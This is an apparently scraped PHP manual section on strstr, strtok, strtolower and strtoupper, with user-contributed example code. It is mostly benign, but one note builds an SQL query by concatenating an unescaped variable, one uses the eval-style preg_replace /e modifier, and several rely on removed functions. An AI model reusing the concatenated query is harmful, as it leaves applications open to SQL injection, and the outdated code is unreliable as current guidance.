If you would like to count files on a directory, this might be helpful.  In this case I wanted to create a random image generator, but not have to keep track of the image count. Example: I have 4 images, and choose a random number between 1-4.  If I decide to add a 5th and 6th image, I would have to generate at random 1-6. STRSTR can help you keep track of the amount of images, without you having to update the code.

NOTE, this example is based on the naming convention

image1.gif
image2.gif
image3.gif
""""""""4"""
etc....

If you are not using it, then just make the adjustments.
------------------------------------------------------
//First a function. $path is where you want to count files
//$filter is the criteria. Ex. File names with "image" in it.

function countfiles($path, $filter)
{

$dir = opendir($path);

while ($file = readdir($dir)){

     if(strstr($file, $filter)){ $i++; }
}//end while

closedir($dir);

return $i;

}
//-------------------------------------------------

$max = countfiles("/you directory", "image");
$num = rand(1,$max);
$image = "image";
$image.= $num;
$image.= ".gif";  // or jpg, png, etc

echo "<img scr=\"$image\">";
nin at screamingslaves dot com
29-Dec-2002 04:54
Since I managed to do this in a few seconds, why not let it out to someone in the same need ...

Based on the above idea, since I had:

$string = "Some text (some note) some other text";

And say you just wanted whats *between* the parentheses (or between basically anything):

<?

function remover($string, $sep1, $sep2)
{
       $string = substr($string, 0, strpos($string,$sep2));
       $string = substr(strstr($string, $sep1), 1);

       return $string;
}

$string = "Some text (some note) some other text";
$str1 = "(";
$str2 = ")";

echo remover($string, $str1, $str2);

?>
fred at debilitron dot com
09-Nov-2002 09:44
The same thing as above, but a bit shorter, with strpos() :

$string = "email@domain.net";

$separat = "@";
$string = substr($string, 0, strpos($string,$separat));
duke as mastre dot com
16-Oct-2002 01:11
strstr(), strchr(), strrchr() _and_ stristr() are _all_ broken as of 4.2.3:

$haystack = 'John Doe <john@doe.com>';
$needle_broken = '<';
$needle_ok = '@';

echo('haystack: ' . htmlspecialchars($haystack) . '<br />');
echo('strstr using needle_broken: ' . strstr($haystack, $needle_broken) . '<br />');
echo('strstr using needle_ok: ' . strstr($haystack, $needle_ok) . '<br />');

output:
broken:
ok: @doe.com>

only function that works properly with this caracter (also '>' and possibly others) is strpos()
arni at linux dot is
24-Nov-2000 02:00
This functions is also widely used for checking if a string is in a string since it returns false if the string was not found in container.

$string = "PHP";
$container = "I love writing PHP code.";

if(strstr($container,$string)) {
     echo "found it.";
} else {
     echo "not found.";
}
add a note add a note

后退 | 起点 | 前进
strspn | 上一级 | strtok


strtok

(PHP 3, PHP 4, PHP 5)

strtok -- Tokenize string

Description

string strtok ( string str, string token )

strtok() splits a string (str) into smaller strings (tokens), with each token being delimited by any character from token. That is, if you have a string like "This is an example string" you could tokenize this string into its individual words by using the space character as the token.

例子 1. strtok() example

<?php
$string = "This is\tan example\nstring";
/* Use tab and newline as tokenizing characters as well  */
$tok = strtok($string, " \n\t");

while ($tok !== false) {
    echo "Word=$tok<br />";
    $tok = strtok(" \n\t");
}
?>

Note that only the first call to strtok uses the string argument. Every subsequent call to strtok only needs the token to use, as it keeps track of where it is in the current string. To start over, or to tokenize a new string you simply call strtok with the string argument again to initialize it. Note that you may put multiple tokens in the token parameter. The string will be tokenized when any one of the characters in the argument are found.

The behavior when an empty part was found changed with PHP 4.1.0. The old behavior returned an empty string, while the new, correct, behavior simply skips the part of the string:

例子 2. Old strtok() behavior

<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump($first_token, $second_token);
?>

Output:

string(0) ""
    string(9) "something"

例子 3. New strtok() behavior

<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump($first_token, $second_token);
?>

Output:

string(9) "something"
    bool(false)

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

See also split() and explode().

add a note add a note User Contributed Notes
Geert
14-Apr-2006 09:37
Shauns function needs a little update because it produces an error message that the variables $text and $words were not defined. Written like this it won't produce an error:

<?php
function summarize($paragraph, $limit){
  $tok = strtok($paragraph, " ");
  $text="";
  $words='0';
  while($tok){
   $text .= " ".$tok;
   $words++;
   if(($words >= $limit) && ((substr($tok, -1) == "!")||(substr($tok, -1) == ".")))
     break;
   $tok = strtok(" ");
  }
return ltrim($text);
}
?>
mac.com@nemo
19-Feb-2006 05:49
This function takes a string and returns an array with words (delimited by spaces), also taking into account quotes, doublequotes, backticks and backslashes (for escaping stuff).
So

$string = "cp  'my file' to `Judy's file`";
var_dump(parse_cli($string));

would yield:

array(4) {
  [0]=>
  string(2) "cp"
  [1]=>
  string(7) "my file"
  [2]=>
  string(5) "to"
  [3]=>
  string(11) "Judy's file"
}

Way it works, runs through the string character by character, for each character looking up the action to take, based on that character and its current $state.
Actions can be (one or more of) adding the character/string to the current word, adding the word to the output array, and changing or (re)storing the state.
For example a space will become part of the current 'word' (or 'token') if $state is 'doublequoted', but it will start a new token if $state was 'unquoted'.
I was later told it's a "tokeniser using a finite state automaton". Who knew :-)

<?php

#_____________________
# parse_cli($string) /
function parse_cli($string) {
   $state = 'space';
   $previous = '';    // stores current state when encountering a backslash (which changes $state to 'escaped', but has to fall back into the previous $state afterwards)
   $out = array();    // the return value
   $word = '';
   $type = '';        // type of character
   // array[states][chartypes] => actions
   $chart = array(
       'space'        => array('space'=>'',  'quote'=>'q',  'doublequote'=>'d',  'backtick'=>'b',  'backslash'=>'ue', 'other'=>'ua'),
       'unquoted'    => array('space'=>'w ', 'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
       'quoted'      => array('space'=>'a',  'quote'=>'w ', 'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
       'doublequoted' => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'w ', 'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
       'backticked'  => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'w ', 'backslash'=>'e',  'other'=>'a'),
       'escaped'      => array('space'=>'ap', 'quote'=>'ap', 'doublequote'=>'ap', 'backtick'=>'ap', 'backslash'=>'ap', 'other'=>'ap'));
   for ($i=0; $i<=strlen($string); $i++) {
       $char = substr($string, $i, 1);
       $type = array_search($char, array('space'=>' ', 'quote'=>'\'', 'doublequote'=>'"', 'backtick'=>'`', 'backslash'=>'\\'));
       if (! $type) $type = 'other';
       if ($type == 'other') {
           // grabs all characters that are also 'other' following the current one in one go
           preg_match("/[ \'\"\`\\\]/", $string, $matches, PREG_OFFSET_CAPTURE, $i);
           if ($matches) {
               $matches = $matches[0];
               $char = substr($string, $i, $matches[1]-$i); // yep, $char length can be > 1
               $i = $matches[1] - 1;
           }else{
               // no more match on special characters, that must mean this is the last word!
               // the .= hereunder is because we *might* be in the middle of a word that just contained special chars
               $word .= substr($string, $i);
               break; // jumps out of the for() loop
           }
       }
       $actions = $chart[$state][$type];
       for($j=0; $j<strlen($actions); $j++) {
           $act = substr($actions, $j, 1);
           if ($act == ' ') $state = 'space';
           if ($act == 'u') $state = 'unquoted';
           if ($act == 'q') $state = 'quoted';
           if ($act == 'd') $state = 'doublequoted';
           if ($act == 'b') $state = 'backticked';
           if ($act == 'e') { $previous = $state; $state = 'escaped'; }
           if ($act == 'a') $word .= $char;
           if ($act == 'w') { $out[] = $word; $word = ''; }
           if ($act == 'p') $state = $previous;
       }
   }
   if (strlen($word)) $out[] = $word;
   return $out;
}

?>
rawat dot arun at gmail dot com
26-Aug-2005 10:31
I was trying to compare two strings of equal length using strtok. However using them at same time leads into erratic output. Therefore the output of each strok can first be stored in an array and then be used for comparison. Here is small code for it.
<?php
$string = "This is an XYZ example string";
$tok = strtok($string, ' ');
while ($tok !== false) { $toks[] = $tok; $tok = strtok(' '); }
$string_1= "This is an unknown example string";
$tok1= strtok($string_1, ' ');while ($tok1 !== false) {
$toks1[] = $tok1;$tok1 = strtok(' '); }
$ctr=0;
while (each ($toks))
if ($toks[$ctr]==$toks1[$ctr])
{echo "W=$toks[$ctr]<br />"; echo "W1=$toks1[$ctr]<br />";
  $ctr++;  } else $ctr++;    ?>
Thanks,
Arun
brian dot cairns dot remove dot this at commerx dot com
27-May-2005 03:11
I was looking for a function to tokenize a string, taking double-quoted inline strings into account (for breaking up search queries, for example), but none of the ones I found seemed particularly efficient or elegant, so I wrote my own.  Here it is:

<?
// split a string into an array of space-delimited tokens, taking double-quoted strings into account
function tokenizeQuoted($string)
{
   for($tokens=array(), $nextToken=strtok($string, ' '); $nextToken!==false; $nextToken=strtok(' '))
   {
       if($nextToken{0}=='"')
           $nextToken = $nextToken{strlen($nextToken)-1}=='"' ?
               substr($nextToken, 1, -1) : substr($nextToken, 1) . ' ' . strtok('"');
       $tokens[] = $nextToken;
   }
   return $tokens;
}
?>

Example:

$tokens = tokenizeQuoted('this is "my test string" single "words" work too');

Results in $tokens containing:

Array
(
   [0] => this
   [1] => is
   [2] => my test string
   [3] => single
   [4] => words
   [5] => work
   [6] => too
)

Hope this helps someone.
soletan at toxa dot de
28-Apr-2005 07:47
strtok's new behaviour isn't more correct than the old one.

Example: When parsing a string for a quoted-string (e.g. RFC822-header without wanting to install mailparse from PECL!) then I walk char by char and whenever I encounter a double-quote I take strtok to find the related closing double-quote in string quite easily ... this is done for improved performance.
But what if there's an empty quoted-string ...

Another example is then having lines like

name="quoted-value"; second="another one";

I get the name using strtok with '=', then I check value to be quoted, which is true and thus I take the method described before to get the quoted string. Then all what's left is

; second="another one";

now I advance and drop any whitespaces after current value assignment ... well users shouldn't obey to never ever in life have no whitespaces before that damn semicolon for sure, and that's why I drop that with strtok (using ';') again to get to the next optional assignment with another

$s = strtok( '' )

I KNOW, there are ways to work around this using trim and the alikes. But that doesn't explain why strtok is now working "correct" while it didn't do before ...
cs2xz at bath dot ac dot uk
07-Apr-2005 09:30
There is a method to remove all the punctuations and only put the words into an array called "$token", where variable $invalid lists all the punctuations and "\xxx" are the octal numbers of punctuations. At the end, dispalys total number of words in $string and the 4th words in the string.

$string = "Hello,    $%^\n\\\"jeff!!!!\"/. 'How are you!'";
$invalid = "\40\41\42\43\44\45\46\47\48\49\50\51\52\53 \54\55\56\57\72\73\74\75\76 \77\100\133\134\135\136\137\138\139\140 \173\174\175\176\n\r\t";

$tok = strtok($string, $invalid);
while ($tok) {
   echo "Word=$tok<br>";
   $token[]=$tok;
   $tok = strtok($invalid);
}

// displays the number of words in the string and the 4th word
echo "Number of token: " . count($token) . "<br>";
echo $token[3];
James
29-Sep-2004 09:51
Be very careful with using strtok if there's any chance that you may be calling other functions that may use strtok as well.  If any other function that you call while parsing the string decides to call strtok as well, it will clobber the internal string pointer being used by strtok and you may get unexpected results.  Here's some code to explain what I mean:

function parse_string2($string2) {
   for($tok = strtok($string2, '.'); $tok !== false; $tok = strtok(".")) {
       echo $tok;
   }
}

$string1 = "1.2.3.4.!.8.9";
$string2 = "5.6.7";

for($word = strtok($string1, '.'); $word !== false; $word = strtok(".")) {
   if ($word == '!') {
       echo parse_string2($string2);
   } else {
       echo $word;
   }
}

If I didn't know the internals of the function parse_string2 (say someone else develops that), but all I know is that parse_string2 should print out 567, then my expected output might be:

123456789

Instead, you only get: 1234567.

It would be interesting if they could implement a strtok_r where you could explicitly denote which string to tokenize.
manicdepressive at mindless dot com
19-Jun-2004 09:01
<pre><?php
/** get leading, trailing, and embedded separator tokens that were 'skipped'
if for some ungodly reason you are using php to implement a simple parser that
needs to detect nested clauses as it builds a parse tree */

$str = "(((alpha(beta))(gamma))";

$seps = '()';
$tok = strtok( $str,$seps ); // return false on empty string or null
$cur = 0;
$dumbDone = FALSE;
$done = (FALSE===$tok);
while (!$done) {
   // process skipped tokens (if any at first iteration) (special for last)
   $posTok = $dumbDone ? strlen($str) : strpos($str, $tok, $cur );
   $skippedMany = substr( $str, $cur, $posTok-$cur ); // false when 0 width
   $lenSkipped = strlen($skippedMany); // 0 when false
   if (0!==$lenSkipped) {
     $last = strlen($skippedMany) -1;
     for($i=0; $i<=$last; $i++){
         $skipped = $skippedMany[$i];
         $cur += strlen($skipped);
         echo "skipped: $skipped\n";
     }
   }
   if ($dumbDone) break; // this is the only place the loop is terminated

   // process current tok
   echo "curr tok: ".$tok."\n";

   // update cursor
   $cur += strlen($tok);

   // get any next tok
   if (!$dumbDone){
     $tok = strtok($seps);
     $dumbDone = (FALSE===$tok);
     // you're not really done till you check for trailing skipped
   }
};
?></pre>
DethMetal Jeff
11-Mar-2004 02:18
If you need to parse through a very large delimited text file (such as a word list) combine strtok with file_get_contents.  It is much faster than all of the other alternatives i have found (using file() to parse the file into an array, reading the file line by line using fgets())

  $dictionary=file_get_contents('path/to/dictionary', 1);

  //check that the file was read properly
  if(!$dictionary){
   return("read error");
  }

  //dictionary is \n delimited
  $tok=strtok($dictionary, "\n");
  //loop through until we reach the end of the string
  while($tok){
   //do whatever it is you need to do with the $tok string here
   $tok=strtok("\n"); //get next string
  }
torsten at KILL_ALL_SPAM dot dargers dot de
21-Dec-2003 12:00
Beware! This function cannot be used to start a recursion during the loop. Sh..

You have to collect the results in an array and then cycle the recursion through that array.

Example:
$word=strtok($line,TOKENS);
while ($word) {

   // DO NOT START RECURSION HERE USING $word PARAMETER

  $words[] = $word;

}

foreach( $words as $word ) {

   *RECURSE*($word);

}

// This seems very silly but as the function is not instantiated between recursions it cannot work directly.
jrust AT rustyparts DOT com
24-May-2003 10:09
Had a website which was using way too many of the old functionality of strtok to convert to the new >PHP 4.1.0 way so I wrote this function to mimic the way strtok was done prior to 4.1.0

function strtok_old($string, $delim = null) {
   static $origDelim, $origString, $origPos;
   if (!isset($origDelim)) {
       $origDelim = null;
   }
   if (!isset($origString)) {
       $origString = null;
   }
   if (!isset($origPos)) {
       $origPos = null;
   }

   // continuing an already started strtok
   if ($string == $origDelim) {
       $string = $origString;
       $delim = $origDelim;
   }
   // else starting from scratch
   else {
       $origString = $string;
       $origDelim = $delim;
       $origPos = 0;
   }

   if ($origPos !== false && $origPos < strlen($string)) {
       $newPos = strpos($string, $delim, $origPos);
   }
   else {
       $newPos = false;
   }

   // the token wasn't found, go to end of string
   if ($newPos === false) {
       $newPos = strlen($string);
   }

   $return = substr($string, $origPos, ($newPos - $origPos));
   $origPos = ++$newPos;
   return $return;
}
shaun at phplabs dot com
05-Dec-2002 01:57
Here's some code to extract the first part of a long paragraph, e.g. to use as a summary. Starting at the beginning of the paragraph it gets as many complete sentences as are necessary to contain $limit words. For example, with $limit at 20 it would return the first two sentences of the paragraph you're reading right now (the first 20 words plus the rest of the sentence in which the limit was hit).

function summarize($paragraph, $limit){
  $tok = strtok($paragraph, " ");
  while($tok){
   $text .= " $tok";
   $words++;
   if(($words >= $limit) && ((substr($tok, -1) == "!")||(substr($tok, -1) == ".")))
     break;
   $tok = strtok(" ");
  }
return ltrim($text);
}

Might be a better way to do this, but it worked for me. Hope you find it useful!
desolate19 at NOSPAM dot hotmail dot com
03-May-2002 06:28
Here is yet another explanation of strtok for the explode/split comments.

You can do things with strtok that you can't do with explode/split. explode breaks a string using another string, split breaks a string using a regular expression.  strtok breaks a string using single _characters_ , but the best part is you can use multiple characters at the same time.

For example, if you are accepting user input and aren't sure how the user will decide to divide up their data you could choose to tokenize on spaces, hyphens, slashes and backslashes ALL AT THE SAME TIME:

<?PHP

$teststr = "blah1 blah2/blah3-blah4\\blah5";

$tok = strtok($teststr," /-\\");
while ($tok !== FALSE)
{
  $toks[] = $tok;
  $tok = strtok(" /-\\");
}

while (list($k,$v) = each($toks))
{
  print ("$k => $v&lt;BR&gt;\n");
}

?>

/* OUTPUT:
0 => blah1
1 => blah2
2 => blah3
3 => blah4
4 => blah5
*/

You can't do that with explode, and this should be faster than using split because split uses regular expressions.

And for the comments about explode/split putting your output into an array... as you can see, it's not hard to work with arrays in PHP.
12-Dec-2001 04:57
The example is unnecessarily confusing for beginners.

1) It is NOT strtok that fails when the returned string evaluates
to false in conditional expression, it is the loop test. A correct test is
while($tok !== false)

2) the same functionality (AS THE EXAMPLE) can be obtained with
explode. Note that if you only need the first few tokens you can
put a limit on explode!! read the manual :)
array explode (string separator, string string [, INT LIMIT])

What you can NOT do with explode (or split) is changing the
separator after a token is returned, as for example, when parsing a
string along a simple format :

$styleStr = "color:#FFFFFF;font-size:12";
$key = strtok($styleStr,":");
while ($key !== false){
 $styleTab[$key]= strtok(";"); // do not change the target
 $key = strtok(":"); // string, just the separator list
}

$styleTab is array("color"=>"#FFFFFF","font-size"=>"12")

If you need the remaining of the string do :
$remaining = strtok(''); //(empty separator)

Ivan
slt at municipium dot com dot pl
15-Feb-2001 03:12
As 'mckay' wrote, strtok 2nd argument is a list of tokens, not a string delimiter. It's not so obvious as one may think and it may be confusing for beginners like me. So, in the docs, it should state sth. like that
strtok(string where2search, char token2cut).
And for the above split-lover =) 'tysonlt' -> it's better to use explode bcoz it's lighter than split (to quote original manual: "(...) use explode(), which doesn't incur the overhead of the regular expression engine")
regards,
     StarLight
tysonlt at spamless dot webmedia dot com dot au
04-Oct-2000 06:34
Why use strtok at all?

If it's so flaky, why not just use split?

eg.
$token_array = split("$delim", $string);

Then you can use all the nice array functions on it! :)
David dot Mazur at student dot kuleuven dot ac dot be
16-Aug-2000 07:40
If you want to tokenize only part of the string, and store the "untokenized" part in some
variable, you have to call strtok one last time with separator "" (i.e. the empty string).
add a note add a note

后退 | 起点 | 前进
strstr | 上一级 | strtolower


strtolower

(PHP 3, PHP 4, PHP 5)

strtolower -- Make a string lowercase

Description

string strtolower ( string str )

Returns string with all alphabetic characters converted to lowercase.

Note that 'alphabetic' is determined by the current locale. This means that in i.e. the default "C" locale, characters such as umlaut-A () will not be converted.

例子 1. strtolower() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtolower($str);
echo $str; // Prints mary had a little lamb and she loved it so
?>

注: 本函数可安全用于二进制对象。

See also strtoupper(), ucfirst(), ucwords() and mb_strtolower().

add a note add a note User Contributed Notes
spiceee ddotty spiceee com
07-Mar-2006 08:53
If you ever need to strtolower a string with href tags on it and doesn't want to mess with the characters inside a tag, this is for you.

<?php

function loweroutsidetags ($str) {
   $chars = preg_split ("//", $str);
   $tolower = true;
   $str = '';

   foreach ($chars as $k) {
       if ($k == '<') { $tolower = false; }
       if ($tolower) { $k = strtolower ($k); }
       $str .= $k;
       if ($k == '>') { $tolower = true; }
   }
   return $str;
}

?>

this:
echo loweroutsidetags('aALalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">')

will give:
aalalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">
red at iklanumum dot com
24-Feb-2006 10:43
I've seen this as a common use from script developers, so I would like to share the alternative way to compare 2 string (CASE INSENSITIVE) without using strtolower for faster process.

Use strcasecmp() for comparison purpose rather than comparing uncertain case of 2 string variables, because strcasecmp() is approximately 60% faster, moreover, the greater its string length the greater the difference,!
Ex. case :
$var1;    -> could be a mixture of upper & lower case
$var2;    -> could be a mixture of upper & lower case

To compare whether $var1 is exactly the same as $var2 (case insensitive manner):
Use -> if (strcasecmp($var1,$var2)==0)
rather than -> if (strtolower($var1)==strtolower($var2))
Patrick
20-Jan-2006 02:57
If you're considering using the below unhtmlentities function from phpContrib, I would suggest this one as an alternative:

<?php
function unhtmlentities($string)
{
   // replace numeric entities
   $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
   $string = preg_replace('~&#([0-9]+);~e', 'chr(\\1)', $string);
   // replace literal entities
   $trans_tbl = get_html_translation_table(HTML_ENTITIES);
   $trans_tbl = array_flip($trans_tbl);
   return strtr($string, $trans_tbl);
}
?>

That was copied exactly from the html_entity_decode manual page.  It'll handle numeric entities correctly, the below function won't.
fackelkind
11-Jan-2006 04:03
Nifty? :D

<?php
       function is_lowercase ($str){
               return ($str == strtolower ($str));
       }
?>
mhuggins57 at yahoo dot com
20-Jul-2005 07:04
There's a ucfirst "function" to make the first character uppercase, but there's no "lcfirst" function to make the first character lowercase.  Here's my own code to accomplish this.

<?
function lcfirst($str) {
   return strtolower(substr($str, 0, 1)) . substr($str, 1);
}
?>

I found this particularly useful for generating XML nodes with the Reflection class.
kmcdermott at perimeterinstitute dot ca
09-Dec-2004 05:04
To do case insensitive comparisons in a database, strtolower() can be a quick and dirty solution:

$Sql = "SELECT * FROM tablename WHERE LOWER(column_name) = '".strtolower($my_var)."'";
phpContrib (A T) esurfers d o t c o m
25-Sep-2004 02:07
<?php

$b=html_entity_decode(strtolower(htmlentities($a)));

?>

will convert to lowercase most accented vocals
(it will convert  into &Agrave; into &agrave; into )

This is not fast and clean code, it is just a quick oneliner to help you if you need a quick way to do it

Users with older versions of PHP can use:
$b=unhtmlentities(strtolower(htmlentities($a)));

// with unhtmlentities() as defined in the html_entity_decode() manual page:

function unhtmlentities ($string) {
   $trans_tbl =get_html_translation_table (HTML_ENTITIES );
   $trans_tbl =array_flip ($trans_tbl );
   return strtr ($string ,$trans_tbl );
}
bkimble at ebaseweb dot com
20-Jan-2003 02:39
Heres a small function I wrote to stop people from submitting data that is ALL IN CAPS SO THEY CAN GET MORE ATTENTION THAT THE REST OF THE USER SUBMITTED DATA on my website :) If you can make it better, by all means do so. This function splits up words delimited by a space, and makes only the first letter of each word capitalized. You can easily modify it so it's only the very first word of the string. I've also added some exceptions so you don't make things like roman numerals look like "Iii" or "Xcmii" or something.

function RemoveShouting($string)
{
 $lower_exceptions = array(
       "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
       "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
       "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
       "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();
 foreach ($words as $word)
 {
  if (!$higher_exceptions[$word]) $word = strtolower($word);
  if (!$lower_exceptions[$word]) $word[0] = strtoupper($word[0]);
  array_push($newwords, $word);
 }
 return join(" ", $newwords);
}

BK
tty01_at_rambler_dot_ru
20-Sep-2002 10:58
Another solution for Double-Byte-Characters, based on iconv() functions, not sensible to the current locale, works on win32.

/* Converts charset */
function myConvertCharset($str, $from, $to)
{
   if(@function_exists('iconv'))
   {
       return iconv($from, $to, $str);
   }
   else if(@function_exists('recode_string'))
   {
       return recode_string($from . '..'  . $to, $str);
   }
   else
   {
       print "function iconv not exists";
       return $str;
   }
}
/* Converts a string to lowercase */
function my_strtolower($s)
{
   $t = "windows-1251";
   $d = "UTF-8";
   return myConvertCharset(strtolower(myConvertCharset($s, $d, $t)), $t, $d);
}

print my_strtolower("  Uppercase");
13-Sep-2002 08:17
This function is sensible to the current locale, namely the LC_CTYPE category (the default LC_CTYPE category is set from the LANG environment variable or by an explicit LC_CTYPE setting, but it can be overriden by the LC_ALL environment setting). If no locale setting is done in the enironment, the default locale will be C, for which the lowercase/uppercase conversion is based on the default character set of the system: this may convert only ASCII letters, or also ISO-8859-1 letters depending on the system...
add a note add a note

后退 | 起点 | 前进
strtok | 上一级 | strtoupper


strtoupper

(PHP 3, PHP 4, PHP 5)

strtoupper -- Make a string uppercase

Description

string strtoupper ( string string )

Returns string with all alphabetic characters converted to uppercase.

Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a () will not be converted.

例子 1. strtoupper() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtoupper($str);
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

注: 本函数可安全用于二进制对象。

See also strtolower(), ucfirst(), ucwords() and mb_strtoupper().

add a note add a note User Contributed Notes
sjrd at redaction-developpez dot com
04-Jun-2006 02:12
Angus Lord's function has got a problem with html entities such as &amp;, for they're converted into &Amp;, which is incorrect.

The following code fixes the problem:

<?php
function to_upper($string)
{
  $new_string = "";
  while (eregi("^([^&]*)(&)(.)([a-z0-9]{2,9};|&)(.*)", $string, $regs))
  {
   $entity = $regs[2].strtoupper($regs[3]).$regs[4];
   if (html_entity_decode($entity) == $entity)
     $new_string .= strtoupper($regs[1]).$regs[2].$regs[3].$regs[4];
   else
     $new_string .= strtoupper($regs[1]).$entity;
   $string = $regs[5];
  }
  $new_string .= strtoupper($string);
  return $new_string;
}
?>
bart at insane dot at
10-May-2006 07:31
When using UTF-8 and need to convert to uppercase with
special characters like the german ,, (didn't test for french,polish,russian but think it should work, too) try this:

function strtoupper_utf8($string){
   $string=utf8_decode($string);
   $string=strtoupper($string);
   $string=utf8_encode($string);
   return $string;
}
tree2054 at hotmail dot com
15-Feb-2006 02:11
An even simpler version of h3's rewrite:

<?php
function isupper($i) { return (strtoupper($i) === $i);}
function islower($i) { return (strtolower($i) === $i);}
?>
h3@valleyfield
03-Feb-2006 05:41
I've modified the code of Indio to recreate the C functions isupper and islower.. pretty simple and clean, as you can see;
<?php
function isupper($i) { return (strcmp(strtoupper($i),$i)==0)?true:false; }
function islower($i) { return (strcmp(strtolower($i),$i)==0)?true:false; }
?>

cheers.
Grkem PAACI(gorkempacaci[et]gmail.com)
06-Jan-2006 10:36
These functions can be used on Turkish(iso-8859-9):
Turkce(iso-8859-9) icin su fonksiyonlar kullanilabilir:

$tr_low_letters = str_split("abcdefghijklmnopqrstuvwxyz");
$tr_up_letters = str_split("ABCDEFGHIJKLMNOPQRSTUVWXYZ");
function tr_uppercase($str) {
   global $tr_low_letters, $tr_up_letters;
   return str_replace($tr_low_letters, $tr_up_letters, $str);
}
function tr_lowercase($str) {
   global $tr_low_letters, $tr_up_letters;
   return str_replace($tr_up_letters, $tr_low_letters, $str);
}
function tr_fuppercase($str) {//only first letter uppercase
   return tr_uppercase($str[0]) . tr_lowercase(substr($str,1));
}
Vadim from Baku
27-Nov-2005 05:55
The following function counts uppercase letters in English and Cyrillic. It works great with cyrillic when strtolower doesn't work due to enviroment settings.(Thank you Sean!).

preg_match_all("@[A-Z-]@",$str,$m,PREG_OFFSET_CAPTURE)

It is probably displayed incorrectly due to page encoding, but there are range from the first uppercase letter of the latin alphabet to the last one and range from the first uppercase cyrillic alphabet letter to the last one in the pattern. Not sure but similar approach can work for other alphabets.
Beniamin
26-Nov-2005 10:04
Here is correct str2upper function for polish programmers (plus str2lower function):

<?php
function str2upper($text){
   return strtr($text,
   "abcdefghijklmnopqrstuvwxyz".
   "\xB1\xE6\xEA\xB3\xF1\xF3\xB6\xBC\xBF". // ISO 8859-2
   "\xB9\x9C\x9F", // win 1250
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\xA1\xC6\xCA\xA3\xD1\xD3\xA6\xAC\xAF". // ISO 8859-2
   "\xA5\x8C\x8F"  // win 1250
   );
}

function str2lower($text){
   return strtr($text,
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\xA1\xC6\xCA\xA3\xD1\xD3\xA6\xAC\xAF". // ISO 8859-2
   "\xA5\x8C\x8F",  // win 1250
   "abcdefghijklmnopqrstuvwxyz".
   "\xB1\xE6\xEA\xB3\xF1\xF3\xB6\xBC\xBF". // ISO 8859-2
   "\xB9\x9C\x9F" // win 1250
   );
}
?>
Static Bit
06-Nov-2005 11:35
function UpperPerCent($str)
         {
         $len  = 0;
         $upper = 0;
         for ($i = 0; $i < strlen($str); ++$i)
             {
             if ($str[$i] <> strtolower($str[$i]))
               {
               ++$len;
               ++$upper;
               }
             if ($str[$i] <> strtoupper($str[$i]))
               {
               ++$len;
               }
             }

         $per_cent = 0;
         if ($len > 0)
           $per_cent = ($upper/$len)*100;

         return $per_cent;
         }
Chrobak <gni at centrum dot cz>
26-Oct-2005 10:08
My own kind of this function for czechs, there are some special chars, it is n00b function but really useful.

<?php
function tolower($string)
 {
     $big="ABCDEFGHIJKLMNOPQRSTUVWXYZ&#282;&#268;&#344;";
   $small="abcdefghijklmnopqrstuvwxyz&#283;&#269;&#345;";
     $count=strlen($big)-1;
     for($i=0;$i<=$count;$i++)
     {
         $string=str_replace($big[$i],$small[$i],$string);
     }
   return $string;
 }

 function toupper($string)
 {
     $big="ABCDEFGHIJKLMNOPQRSTUVWXYZ&#282;&#268;&#344;";
   $small="abcdefghijklmnopqrstuvwxyz&#283;&#269;&#345;";
     $count=strlen($small)-1;
     for($i=0;$i<=$count;$i++)
     {
         $string=str_replace($small[$i],$big[$i],$string);
     }
   return $string;
 }
?>
Sean
20-Sep-2005 09:41
A quick, easy way to see if there are any caps; AND tell how many there are... you could easily do this:

<?
$str="3 CAPS and the rest lowercase";
$howmany=preg_match_all("@[A-Z]@",$str,$m,PREG_OFFSET_CAPTURE);
?>

That would make $howmany become the integer 4; because there are 4 capitals in the string: $str. ("CAPS")

Hope this helps anyone.

~Sean
Indio
17-Aug-2005 12:13
Here is way to test a string for upper case characters (smaller footprint than previous post)

// test if a string or a single character in a string is uppercase
// if this returns false, then the "string" is lower case
function CheckCase($string,$location='-1') {

   // if a location is passed in, check that character only.
   // if not, or the passed in value is <0, check the whole
   // string for uppercase characters.

   if($location >= 0) {
         return(strcmp(strtolower($string{$location}),$string{$location}));
   }
   else {
         return(strcmp(strtolower($string),$string));
   }
}
ascheinberg at gmail dot com
09-Aug-2005 12:21
I've searched high and low for a function to test whether or not a string is uppercase.  I wrote this little function to do that.

Set $char equal to the position of the character you want to test, 0 for just the first letter, or -1 to test if there are any caps at all in the string.  This functions returns TRUE if the character(s) are uppercase or FALSE if the output is not uppercase.

function is_uppercase($str,$char='-1') {
   if($char==-1) {
       if(strtolower($str) != $str) {
           return TRUE;
       } else {
           return FALSE;
       }
   } else {
       if(strtolower($str{$char}) != $str{$char}) {
           return TRUE;
       } else {
           return FALSE;
       }
   }
}

How to Use This function:

$test = is_uppercase("Test",-1); //returns TRUE
$test = is_uppercase("Test",0); //returns TRUE
$test = is_uppercase("Test",1); //returns FALSE
$test = is_uppercase("this is a string!"); //returns FALSE
$test = is_uppercase("this is a string!",-1); //returns FALSE
$test = is_uppercase("this is a string!",5); //returns FALSE
julas
